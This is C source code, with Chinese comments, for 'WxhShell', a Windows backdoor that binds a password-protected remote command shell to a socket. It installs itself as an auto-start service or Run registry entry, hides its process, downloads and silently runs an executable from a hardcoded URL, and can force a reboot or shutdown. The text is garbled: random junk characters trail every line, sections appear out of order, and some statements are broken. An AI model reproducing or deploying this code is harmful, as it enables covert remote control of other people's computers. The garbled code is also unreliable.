    if(Boot(SHUTDOWN)) Vp- n(Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6E*Zj1KX  
    else { &lXx0 "-$  
    closesocket(wsh); e3HF"v]2!  
    ExitThread(0); 44/ 0}v]  
    } d\1:1ucV  
    break; j`LT`p"9S  
    } t<KEx^gb  
  // 获取shell EkfGw/WDw  
  case 's': { -r6(=A  
    CmdShell(wsh); Ep v3/ `I  
    closesocket(wsh);  d'**wh,  
    ExitThread(0); o'= [<  
    break; % @^VrhS  
  } B?/12+sR  
  // 退出 :5q*46n  
  case 'x': { [nhLhl4S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y/:Q|HnXQ  
    CloseIt(wsh); \nWzn4f  
    break; K4VPmkG  
    } 4`^TC[  
  // 离开 Qh1Kl_a?Lv  
  case 'q': { ZT3jxwe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a3E*%G  
    closesocket(wsh); $[^ KCNB  
    WSACleanup(); ;M(ehX  
    exit(1); $F /p8AraK  
    break; ^5zS2nm  
        } H'0J1\ h  
  } 4*ty&s=5OJ  
  } {F{[!.  
U:5*i  
  // 提示信息 "b+3 &i|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jy)9EU=  
} JY,l#?lM{  
  } (WU~e!}  
A$Jn3Xd~!  
  return; 94>7-d  
} %y^ Kw  
b^=8%~?%4  
// shell模块句柄 N[?4yV2s  
int CmdShell(SOCKET sock) khO<Z^wi[  
{ 5x L,~"  
STARTUPINFO si; -iZjs  
ZeroMemory(&si,sizeof(si)); U:\oGa84A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A<G ;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a0v1LT6  
PROCESS_INFORMATION ProcessInfo; !nD[hI8P  
char cmdline[]="cmd"; ]MH \3g;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ysP/@;jC  
  return 0; "r `6c0Z  
} P)o[p(  
(V |q\XS  
// 自身启动模式 U=*q;$L#  
int StartFromService(void) }v|[h[cZ  
{ 7*8nUq  
typedef struct w})&[d  
{ @eD~FNf-]  
  DWORD ExitStatus; .dq.F#2B;  
  DWORD PebBaseAddress; fJN9+l  
  DWORD AffinityMask; K {N;k-  
  DWORD BasePriority; S>zKD  
  ULONG UniqueProcessId; Ra,on&OP`*  
  ULONG InheritedFromUniqueProcessId; <zWQ[^  
}   PROCESS_BASIC_INFORMATION; N pIlQaMo4  
ViC76aJ  
PROCNTQSIP NtQueryInformationProcess; JL*]9$o  
PyJblW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HrcnyQ`Q0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 53#5p;k  
|@4h z9~3  
  HANDLE             hProcess; YH6 K-}  
  PROCESS_BASIC_INFORMATION pbi; d=Ihl30m  
< 2r#vmM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,wy:RVv@e  
  if(NULL == hInst ) return 0; R~ u7;Wv  
U%6lYna{M#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -cS4B//IK8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O&1p2!Bk4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "e?#c<p7  
lIT2 AFX+  
  if (!NtQueryInformationProcess) return 0; Ki 6BPi^  
 6}ewBAq%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /IR5[67  
  if(!hProcess) return 0; ~wV98u-N  
X>YOo~yS5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wH5O>4LO  
x~I1(l7r  
  CloseHandle(hProcess); VY26 Cf"  
HCCp<2D"C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gnK!"!nL  
if(hProcess==NULL) return 0; IBHG1<3  
Tl{r D(D  
HMODULE hMod; )4O`%9=M&  
char procName[255]; HCZ%DBU96  
unsigned long cbNeeded; iONql7S @  
 y3$\ m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZI*A0_;L  
`9)2nkJk'z  
  CloseHandle(hProcess); Rf$6}F  
eHZl-|-  
if(strstr(procName,"services")) return 1; // 以服务启动 ~w% +y  
v\T1,Z@N^  
  return 0; // 注册表启动 \YyU5f7';  
} %=>xzP(z  
U-:Z ^+Y  
// 主模块 YS6az0ie  
int StartWxhshell(LPSTR lpCmdLine) MA QY/s~F  
{ ^Rh~+  
  SOCKET wsl; {:+^[rer j  
BOOL val=TRUE; U/l ra&P  
  int port=0; Y'":OW#oN  
  struct sockaddr_in door; DdW8~yI&  
H`..)zL|  
  if(wscfg.ws_autoins) Install(); ,l"2MXD  
%6?}gc_  
port=atoi(lpCmdLine); ;qQzF  
 D -EM  
if(port<=0) port=wscfg.ws_port; f)fw87UPc  
alD|-{Bf  
  WSADATA data; >}tG^)os  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m$j;FKz+|  
ImW~Jy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Ue Tp,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); En%o7^W++  
  door.sin_family = AF_INET; OF}_RGKg3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TW? MS em  
  door.sin_port = htons(port); )W3l{T(  
a];i4lt(c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,RH986,6V  
closesocket(wsl); 7 i\[Q8f  
return 1; 5Wjp_^!e  
} :O=Vr]Y8K  
&~i &~AJ  
  if(listen(wsl,2) == INVALID_SOCKET) { 0{uX2h  
closesocket(wsl); U}TQXYAg  
return 1; 61 |xv_/  
} G7xjW6^T  
  Wxhshell(wsl); ` &DiM@Sm  
  WSACleanup(); #J9XcD{1  
|EA1+I.&x  
return 0; jl7-"V>j?;  
%8}w!2D S  
} < duM8   
o*8 pM`uw  
// 以NT服务方式启动 2sq<"TlQXI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J> |`  
{ =-Tetp  
DWORD   status = 0; .v!e=i}.  
  DWORD   specificError = 0xfffffff; z81!F'x;  
3"RZiOyv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G(e?]{(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g_=ZcGC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *2hzReM  
  serviceStatus.dwWin32ExitCode     = 0; Cl=ExpX/O  
  serviceStatus.dwServiceSpecificExitCode = 0; ~Y[b QuA=)  
  serviceStatus.dwCheckPoint       = 0; }x-8@9S~z  
  serviceStatus.dwWaitHint       = 0; L@uKE jR  
xEqrs6sR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eZo%q,L  
  if (hServiceStatusHandle==0) return; ObnB6ShKi  
\`&fr+x  
status = GetLastError(); A 2 )%+  
  if (status!=NO_ERROR) ~d]7 Cl  
{ 3 Q;l*xu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .$;GVJ-:5  
    serviceStatus.dwCheckPoint       = 0; Dbd5d]]n3  
    serviceStatus.dwWaitHint       = 0; F*u;'K   
    serviceStatus.dwWin32ExitCode     = status; c7 -j  
    serviceStatus.dwServiceSpecificExitCode = specificError; |&.)_+w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4T-AWk  
    return; B(U`Zd  
  } /vKDlCH*  
sIe(;%[`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $Vh82Id^  
  serviceStatus.dwCheckPoint       = 0; kdq55zTc<6  
  serviceStatus.dwWaitHint       = 0; 9wzYDKN}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vy VC#AK,  
} /PlsF  
xR3A4m  
// 处理NT服务事件,比如:启动、停止 "a7d`l:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :7zI!edu  
{ 64cmv}d_  
switch(fdwControl) ;2~Q97c0  
{ ;DpK* A  
case SERVICE_CONTROL_STOP: x~.U,,1  
  serviceStatus.dwWin32ExitCode = 0; Zl*!pQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1-fz564  
  serviceStatus.dwCheckPoint   = 0; Zx{'S3W  
  serviceStatus.dwWaitHint     = 0; z~al h?H  
  { Bc@e;k@i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R _%pR_\  
  } 1d6pQ9 N  
  return; |ouk;r24V  
case SERVICE_CONTROL_PAUSE: Uw!v=n3#!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WF7RMQ51j  
  break; J0k~%   
case SERVICE_CONTROL_CONTINUE: kp|reKM/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5;*C0m2%i  
  break; k-/$8C  
case SERVICE_CONTROL_INTERROGATE: uVocl,?.L  
  break; pOXEM1"2A  
}; W*2SlS7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9"e!0Q40  
} Y|L57F  
zc#`qa:0  
// 标准应用程序主函数 ]SI`fja/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q2o:wXvj  
{ Nx"?'-3Hm  
Gu pKM%kM  
// 获取操作系统版本 M vCBgLN  
OsIsNt=GetOsVer(); -p }]r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '1+ Bgf  
(46)v'?  
  // 从命令行安装 bPEAG=l"-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fei$94 a  
OR O~(%-(e  
  // 下载执行文件 4{_5z7ody  
if(wscfg.ws_downexe) { RXDk8)^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w,&RHQB  
  WinExec(wscfg.ws_filenam,SW_HIDE); (~#9KA1A}  
} _1 a2Z\  
7RZ7q@@fgh  
if(!OsIsNt) { h ? M0@Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 B.o&%5dG  
HideProc(); &}oDSD H^,  
StartWxhshell(lpCmdLine); sgX~4W"J  
} K(?7E6\vO  
else 20q T1!j u  
  if(StartFromService()) { !w]t?h  
  // 以服务方式启动 l6~eb=u;9g  
  StartServiceCtrlDispatcher(DispatchTable); p5*Y&aKj  
else $FoNEr&q  
  // 普通方式启动 :MpCj<<[  
  StartWxhshell(lpCmdLine); ?$?Ni)Z  
4d#W[  
return 0; "](~VF[J8  
} XxGm,A+>Ty  
bFpwq#PDW>  
A 6d+RAx  
eNNK;xXe#  
=========================================== z K&`&("4C  
Je/R'QP^8  
Y<B| e91C  
^l9S5 {  
SFjN 5u  
q&vr;f B2  
" j<c_*^/'9  
T M+7>a$  
#include <stdio.h> 8L#sg^1V  
#include <string.h> D`ZYF)[}J  
#include <windows.h> r`=d4dK-  
#include <winsock2.h> mVxS[Gq  
#include <winsvc.h> )9*WmFc+#  
#include <urlmon.h> K \O,AE  
qnOAIP:0  
#pragma comment (lib, "Ws2_32.lib") 0wx`y$~R  
#pragma comment (lib, "urlmon.lib") 4x:fOhtP  
?h {&  
#define MAX_USER   100 // 最大客户端连接数 ;RR)C@n1  
#define BUF_SOCK   200 // sock buffer 8WAg{lVs  
#define KEY_BUFF   255 // 输入 buffer M*x_1h5n  
'F@'4[uda  
#define REBOOT     0   // 重启 Mqq7;w@(J  
#define SHUTDOWN   1   // 关机 OlP#|x*  
}} IvZG&  
#define DEF_PORT   5000 // 监听端口 Nz m 7E]  
mGIS[_dcs  
#define REG_LEN     16   // 注册表键长度 G  B15  
#define SVC_LEN     80   // NT服务名长度 bNXT*HOZb3  
`18G 5R  
// 从dll定义API /h_BF\VBs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n@*NQ`(_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [P^ .=F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P%1s6fjU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5n_<)Ycj  
BUtXHD  
// wxhshell配置信息 {9z EnVfg  
struct WSCFG { 4u<oe_n  
  int ws_port;         // 监听端口 E]68IuP@'  
  char ws_passstr[REG_LEN]; // 口令 s>kzt1,x  
  int ws_autoins;       // 安装标记, 1=yes 0=no v8LKv`I's  
  char ws_regname[REG_LEN]; // 注册表键名 )0NA*<Q+.  
  char ws_svcname[REG_LEN]; // 服务名 +;vfn>^!b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /V,:gLpQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8 }-"&-X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WKN\* N<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hp)3@&T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #q%&,;4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1:8ZS  
"]sr4Jg=  
}; zgLm~  
P5[.2y_qM  
// default Wxhshell configuration >]Y`-*vw&  
struct WSCFG wscfg={DEF_PORT, 5R qkAC  
    "xuhuanlingzhe", V97Eb>@  
    1, SA'  zy45  
    "Wxhshell", hse$M\5  
    "Wxhshell", !?]NMf_  
            "WxhShell Service", E}~ GXG  
    "Wrsky Windows CmdShell Service", */6PkNq  
    "Please Input Your Password: ", vrH/Z.WD  
  1, ,<%],-Lt[  
  "http://www.wrsky.com/wxhshell.exe", O<fbO7.-  
  "Wxhshell.exe" 9'}m797I'  
    }; q$K^E  
Z(Xu>ap  
// 消息定义模块 'y@0P5[se  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0rF{"HM~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z x3m$.8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0nBAO  
char *msg_ws_ext="\n\rExit."; zg[ksny  
char *msg_ws_end="\n\rQuit."; d]CRvzW  
char *msg_ws_boot="\n\rReboot..."; ]  OR ]  
char *msg_ws_poff="\n\rShutdown..."; A07FjT5w8  
char *msg_ws_down="\n\rSave to "; 9"&HxyOfX  
z[l17+v  
char *msg_ws_err="\n\rErr!"; ;+cZS=  
char *msg_ws_ok="\n\rOK!"; w J; y4  
kZfO`BVL  
char ExeFile[MAX_PATH]; $6R<)]6  
int nUser = 0; i,,UD  
HANDLE handles[MAX_USER]; eQA89 :j,  
int OsIsNt; xCGvLvFn  
6:@tHUm  
SERVICE_STATUS       serviceStatus; 7R ;!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #VtlXr>G  
Jgb{Tl:r  
// 函数声明 ;4%^4<+3  
int Install(void); K@6$|.bc  
int Uninstall(void); yo3'\I  
int DownloadFile(char *sURL, SOCKET wsh); qHklu2_%  
int Boot(int flag); ob-y {x,R  
void HideProc(void); njX!Ez  
int GetOsVer(void); Za5*HCo  
int Wxhshell(SOCKET wsl); [Cvo^cC  
void TalkWithClient(void *cs); 0fwo8NgX  
int CmdShell(SOCKET sock); }3ty2D#/:  
int StartFromService(void); c[f  
int StartWxhshell(LPSTR lpCmdLine); x%5n&B  
?=-18@:.ss  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Yy`$`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?FxxH*>"  
>^{}Hjt  
// 数据结构和表定义 xbSix:R=Z  
SERVICE_TABLE_ENTRY DispatchTable[] = {O[a +r.n  
{ {b}Ri&oEOH  
{wscfg.ws_svcname, NTServiceMain}, 8N'[ )Jw  
{NULL, NULL} NN>,dd3T  
}; M1-n  
N[~ RWg  
// 自我安装 g kT`C  
int Install(void) :D""c*  
{ ]%!:'#  
  char svExeFile[MAX_PATH]; S=*rWh8)%<  
  HKEY key; Mpzt9*7R  
  strcpy(svExeFile,ExeFile); KY~p>Jmh  
1k EXTs=,  
// 如果是win9x系统,修改注册表设为自启动 ]6bh#N;.  
if(!OsIsNt) { 5hF iK K7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `A_CLVE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z%E;*R2+:>  
  RegCloseKey(key); mmE\=i~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -~n^?0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~oWCTj-  
  RegCloseKey(key); G>& Tap>  
  return 0; j^-E,YMC  
    } .76T<j_  
  } N_Q)AXr)  
} Z?ZiK1) K  
else { ~)xg7\k  
I|8'#QX  
// 如果是NT以上系统,安装为系统服务 ^yL6A1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '#LbIv4  
if (schSCManager!=0) ZfsM($|a  
{ WT;4J<O/  
  SC_HANDLE schService = CreateService C-O~Oil  
  ( k<(G)7'gm  
  schSCManager, -5B>2K F  
  wscfg.ws_svcname, 5#|D1A  
  wscfg.ws_svcdisp, DLggR3K_\  
  SERVICE_ALL_ACCESS, I8~ .Vu2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UVa:~c$U4  
  SERVICE_AUTO_START, Kcf1$`F24  
  SERVICE_ERROR_NORMAL, @{/GdB,}  
  svExeFile, %EV\nwn6  
  NULL, eYNu78u   
  NULL, 1 1Sflj  
  NULL, t7#lRp&  
  NULL, oE/g) m%  
  NULL Rn?Yz^ 1q  
  ); d?[gd(O  
  if (schService!=0) T<XGG_NOl  
  { 1'Sr0 oEd3  
  CloseServiceHandle(schService); eV(nexE  
  CloseServiceHandle(schSCManager); "- 2HKs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8`g@ )]Iy  
  strcat(svExeFile,wscfg.ws_svcname); oW ! Z= ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J n>3c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }Br=eaY  
  RegCloseKey(key); omd oH?  
  return 0; \iL{q^Im  
    } xD.Uh}:J  
  }  _"0,  
  CloseServiceHandle(schSCManager); Dfhu  
} 1F|e/h%^  
} l7T@<V  
9!XXuMWU<  
return 1; fI<|]c}P&J  
} [d d KC)tA  
o,NTI h  
// 自我卸载 ,]Gi942  
int Uninstall(void) v 79k{<Ln  
{ 3bsuE^,.@  
  HKEY key; sOVbz2 \yb  
}R&5Ye  
if(!OsIsNt) { simD<&p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nh^ lC  
  RegDeleteValue(key,wscfg.ws_regname); Yq~$p Vgf  
  RegCloseKey(key); hnYL<<AA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 57|RE5]|!  
  RegDeleteValue(key,wscfg.ws_regname); xcHuH -}  
  RegCloseKey(key); ?z pN09e  
  return 0; M7`iAa.}  
  } HuI?kLfj\  
} D[H #W[  
} /LK,:6  
else { ?y/LMja  
[`n)2} k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [,a2A  
if (schSCManager!=0) )JsmzGC0  
{ q?##S'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xg.o7-^M  
  if (schService!=0) 1F,>siuh ,  
  { dbsD\\,2%N  
  if(DeleteService(schService)!=0) { }!_ofe  
  CloseServiceHandle(schService); Ze.\<^-t  
  CloseServiceHandle(schSCManager); }lQ`ka  
  return 0; UJ?qGOM3x>  
  } 4:0y\M5u  
  CloseServiceHandle(schService); $! R]!s  
  } *Dhy a g  
  CloseServiceHandle(schSCManager); eEmuE H@X  
} "i^< H  
} O<>cuW(l  
;oM7H*W C  
return 1; )`,Y ^`F2  
} /H'F4->  
|*5HNP  
// 从指定url下载文件 iXPe  
int DownloadFile(char *sURL, SOCKET wsh) D!WyT`T  
{ e. '6q ($3  
  HRESULT hr; %1Nank!Zj  
char seps[]= "/"; !v\ _<8  
char *token; Oe)B.{;Ph  
char *file;  ZcE:r+  
char myURL[MAX_PATH]; _Squ%z:D  
char myFILE[MAX_PATH]; ZW@%>_JR]  
_^MkC} 8  
strcpy(myURL,sURL); | k?r1dj%O  
  token=strtok(myURL,seps); ~cH3RFV  
  while(token!=NULL) RlUX][)  
  { jnIf (a  
    file=token; $2/v8  
  token=strtok(NULL,seps); )aAKxC7w  
  } <x[CL,Zg7  
^_ST#fFS  
GetCurrentDirectory(MAX_PATH,myFILE); "pMx(  
strcat(myFILE, "\\"); k0@*Up3{7  
strcat(myFILE, file); QzilivJf  
  send(wsh,myFILE,strlen(myFILE),0); Yaix\*II  
send(wsh,"...",3,0); LK:Jkjp^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C )J@`E  
  if(hr==S_OK) 2>*b.$g  
return 0; |))O3]-  
else nh]}KFO h  
return 1; -$sVqR>_  
O48*"Z1  
} uW0Dm#  
d}^G790  
// 系统电源模块 AMre(lgh  
int Boot(int flag) L0X/  
{ %4,v2K  
  HANDLE hToken; ^_c6Op<F  
  TOKEN_PRIVILEGES tkp; #p7K2  
]$&N"&q  
  if(OsIsNt) { `M[o.t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6-Id{m x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k9m9IE"9=$  
    tkp.PrivilegeCount = 1; Xj5oHHwn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %$[#/H7=W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .D{He9  
if(flag==REBOOT) { <?FkwW\ ?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^`?M~e2FZ8  
  return 0; 2(i| n=  
} ?k$'po*Eq  
else { y8j6ttQv=t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RdqB^>X  
  return 0; qV5l v-p  
} hxZL/_n'  
  } 0s!';g Q  
  else { mX5%6{],  
if(flag==REBOOT) { ;~-M$a }4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B+2E IaI  
  return 0; @hwe  
} sR;u#".  
else { Xv<K>i>k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |*( R$tX  
  return 0; Mq jdW   
} L%HFsuIO-  
} @p<tJR"M  
]sZ! -q'8  
return 1; He*c=^8k  
} 3|(<]@ $  
#HTq \J!  
// win9x进程隐藏模块 YY4q99^K  
void HideProc(void) -dS@ l'$  
{ }D[j6+E  
p(!d,YSE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *f o>  
  if ( hKernel != NULL )  7 T  
  { 722:2 {  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j;BlpRD}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \l1==,wk  
    FreeLibrary(hKernel); 1ne3CA=  
  } 0k G\9  
xmi@ XL@t  
return; gy Ey=@L  
} %J L P=(  
hsHbT^Qm  
// 获取操作系统版本 8Dkq+H93  
int GetOsVer(void) ,lcS J^yr  
{ Y?ZzFd,i&  
  OSVERSIONINFO winfo; h + <Jv   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ckYT69U  
  GetVersionEx(&winfo); 0.[tEnLZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qLV3Y?S!L  
  return 1; VWK%6Ye0  
  else y96HTQ32  
  return 0; \Oxyc}&  
} d:pGdr& .  
s_}`TejK  
// 客户端句柄模块 cH6++r  
int Wxhshell(SOCKET wsl) :-Ml?:0_X  
{ [@_W-rA  
  SOCKET wsh; .(99f#2M:  
  struct sockaddr_in client; Wv||9[Rd  
  DWORD myID;  &2bqL!k  
"7Z-ACyF5  
  while(nUser<MAX_USER) xqb*;TBh*  
{ 3EHB~rL/C  
  int nSize=sizeof(client); :(iBLO<x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "hk {"0E  
  if(wsh==INVALID_SOCKET) return 1; xp}M5|   
20# V?hX3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 55FRPNx-x  
if(handles[nUser]==0) U$ 46=F|  
  closesocket(wsh); ,KCxNdg^#-  
else 6Ey@)p..E  
  nUser++; waU2C2!w  
  } h[mJ=LIrg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (K_{a+$[  
V8Ri2&|3  
  return 0; c\;_ jg  
} O-huC:zZh  
{&J~P&,k  
// 关闭 socket Zo,066'+[.  
void CloseIt(SOCKET wsh) _F5*\tQ  
{ X'U~g$"(+  
closesocket(wsh); z'7XGO'Lo  
nUser--; }3_ >  
ExitThread(0); R?IRE91 :  
} 2;(+]Ad<  
^HxIy;EQ<z  
// 客户端请求句柄 VVDW=G  
void TalkWithClient(void *cs) 74  &q2g{  
{ D^gS.X^  
T.jCF~%7F  
  SOCKET wsh=(SOCKET)cs; 0*_E'0L8e  
  char pwd[SVC_LEN]; 0U~*uDU  
  char cmd[KEY_BUFF]; >7PNl\=gG  
char chr[1]; 80ox$U  
int i,j; OJd/#KFm  
f!#+cM  
  while (nUser < MAX_USER) { l6 L?jiTl_  
3I(;c ,S  
if(wscfg.ws_passstr) { p{}4#+-<#H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {xH?b0>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lh[?`+A  
  //ZeroMemory(pwd,KEY_BUFF); XDHi4i47`o  
      i=0;  6']HmM  
  while(i<SVC_LEN) { On54!m  
YRo,wsj  
  // 设置超时 [Ky3WppR  
  fd_set FdRead; s<rV1D  
  struct timeval TimeOut; . !Pg)|  
  FD_ZERO(&FdRead); J!2j]?D/e  
  FD_SET(wsh,&FdRead); 6]4#8tR1_  
  TimeOut.tv_sec=8; v+I-*,R  
  TimeOut.tv_usec=0; *AYq :n6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U`lK'..  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & +*OV:[;  
mBE&>}G<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q@7d:v  
  pwd=chr[0]; 1`YU9?  
  if(chr[0]==0xd || chr[0]==0xa) { *ziR&Fr!  
  pwd=0; DY9]$h*y  
  break; j:xC \b47"  
  } AYgXqmH~+  
  i++; 4l+!Z,b  
    } l?=\9y  
}f]Y^>-Ux  
  // 如果是非法用户,关闭 socket wD=]U@t`,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -^546 7  
} d&[RfZ`  
Qr9;CVW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dH!z<~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _$ivN!k  
xEp?|Q$  
while(1) { G[A3H> >  
3iIy_nWC  
  ZeroMemory(cmd,KEY_BUFF); nuXL{tg6  
pK@=]K~l0  
      // 自动支持客户端 telnet标准   IQRuqp KL  
  j=0; =9X1+x  
  while(j<KEY_BUFF) { V`1,s~"q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pYx,*kG:HW  
  cmd[j]=chr[0]; EU%,tp   
  if(chr[0]==0xa || chr[0]==0xd) { ?9kC[4G  
  cmd[j]=0; L%T(H<G  
  break; @M]_],  
  } jYFJk&c  
  j++; M'PZ{6;  
    } BVw2skOT  
m{/( 3  
  // 下载文件 [mA-sl]  
  if(strstr(cmd,"http://")) { A~2)ZdAN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); } #rTUX  
  if(DownloadFile(cmd,wsh)) gvA}s/   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (4T0U5jgT  
  else cm(*F 0<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Uz8_r  
  } LE\=Y;%  
  else { "XR=P> xk  
